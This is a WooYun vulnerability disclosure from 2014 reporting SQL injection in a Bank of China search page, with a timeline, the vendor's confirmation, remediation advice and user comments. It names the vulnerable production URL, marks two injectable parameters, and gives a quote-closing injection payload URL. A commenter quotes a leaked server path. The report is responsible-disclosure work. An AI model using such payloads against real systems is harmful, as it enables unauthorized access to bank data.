当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077515

漏洞标题:中国银行某系统存在SQL注入漏洞

相关厂商:中国银行

漏洞作者: darkrerror

提交时间:2014-09-27 12:03

修复时间:2014-11-11 12:04

公开时间:2014-11-11 12:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-27: 细节已通知厂商并且等待厂商处理中
2014-09-28: 厂商已经确认,细节仅向厂商公开
2014-10-08: 细节向核心白帽子及相关领域专家公开
2014-10-18: 细节向普通白帽子公开
2014-10-28: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

跟之前一个一样,在某查询处存在注入
http://e.boc.cn/ehome/SQISOFT/web/webNew/nPromoteSaleSearch.aspx?goodType=1&sno=0001【注入点】&serchStr=【注入点】
正常报错:

2.jpg


构造语句闭合语句:
http://e.boc.cn/ehome/SQISOFT/web/webNew/nPromoteSaleSearch.aspx?goodType=1&sno=0001&serchStr=%27+AND!%3d1+AND+%27a%27%3d%27a
数据库

1.jpg


漏洞证明:

1.jpg

修复方案:

构造SQL查询时,请使用参数化查询、验证输入对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含HTML特殊字符。这些检查或过滤必须在服务器端完成,建议过滤的常见危险字符。

版权声明:转载请注明来源 darkrerror@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-28 10:04

厂商回复:

非常感谢漏洞作者的发现,我们将尽快修补。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-27 17:00 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    新厂商就是受欢迎。。。。

  2. 2014-09-27 17:12 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    @雷锋 人家是大厂商

  3. 2014-09-28 16:07 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    中国好厂商 @中国银行

  4. 2014-10-23 03:03 | 山羊 ( 路人 | Rank:0 漏洞数:1 | 暂无)

    @darkrerror我想拜你为师

  5. 2014-10-23 08:35 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    @山羊 我是菜b啊:)

  6. 2014-11-11 12:50 | Damo ( 普通白帽子 | Rank:209 漏洞数:31 | 我只是喜欢看加菲猫而已ส็็็็็็็็...)

    @darkrerror 我要给你生孩子

  7. 2014-11-11 14:04 | darkrerror ( 普通白帽子 | Rank:263 漏洞数:44 )

    @Damo 我给你生猴子吧 V_v

  8. 2014-11-11 15:52 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    D:\wwwroot\ehome\SQISOFT\web\webNew\ 求删图 洞主你再编辑一下好吗?

  9. 2014-11-11 18:08 | 邪少 ( 实习白帽子 | Rank:58 漏洞数:7 )

    楼主V5!~~

  10. 2014-11-26 20:08 | 山羊 ( 路人 | Rank:0 漏洞数:1 | 暂无)

    @darkrerror 能加我QQ吗?99043846 有事谈